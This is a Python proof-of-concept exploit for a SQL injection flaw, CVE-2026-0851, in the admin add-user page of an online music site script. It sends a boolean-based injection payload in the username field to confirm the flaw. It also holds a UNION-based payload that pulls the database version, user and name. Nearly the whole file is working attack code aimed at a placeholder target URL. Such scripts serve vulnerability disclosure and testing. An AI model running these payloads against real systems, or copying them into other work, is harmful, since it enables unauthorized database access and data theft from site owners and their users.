# CVE-2026-0851 SQL Injection PoC
# Target: code-projects Online Music Site 1.0
# Endpoint: /Administrator/PHP/AdminAddUser.php
# Parameter: txtusername
import requests
import sys
target_url = "http://target-site.com/Administrator/PHP/AdminAddUser.php"
# Basic SQL Injection PoC - Boolean Based
def test_sql_injection():
# Normal request
normal_data = {
'txtusername': 'testuser',
'txtpassword': 'testpass',
'txtemail': '
[email protected]',
'btnadd': 'Add User'
}
# Malicious payload - SQL Injection test
# This payload tests for SQL injection vulnerability
payload = "' OR '1'='1"
malicious_data = {
'txtusername': payload,
'txtpassword': 'testpass',
'txtemail': '
[email protected]',
'btnadd': 'Add User'
}
print("[*] Testing CVE-2026-0851 SQL Injection...")
print(f"[*] Target: {target_url}")
try:
# Send normal request
normal_response = requests.post(target_url, data=normal_data, timeout=10)
print(f"[+] Normal request status: {normal_response.status_code}")
# Send malicious request
malicious_response = requests.post(target_url, data=malicious_data, timeout=10)
print(f"[+] Malicious request status: {malicious_response.status_code}")
# Check for SQL error indicators
if 'sql' in malicious_response.text.lower() or 'error' in malicious_response.text.lower():
print("[!] SQL Injection vulnerability confirmed!")
print("[!] Server returned SQL error message")
return True
# Check for different response behavior
if len(malicious_response.text) != len(normal_response.text):
print("[!] SQL Injection vulnerability confirmed!")
print("[!] Response length differs between normal and malicious requests")
return True
print("[-] Vulnerability not detected with basic test")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
# UNION-based data extraction example
def extract_database_info():
"""Example: Extract database version using UNION injection"""
union_payload = "' UNION SELECT NULL,version(),user(),database()-- -"
data = {
'txtusername': union_payload,
'txtpassword': 'test',
'txtemail': '
[email protected]',
'btnadd': 'Add User'
}
try:
response = requests.post(target_url, data=data, timeout=10)
print(f"[*] Database extraction response length: {len(response.text)}")
return response.text
except:
return None
if __name__ == "__main__":
test_sql_injection()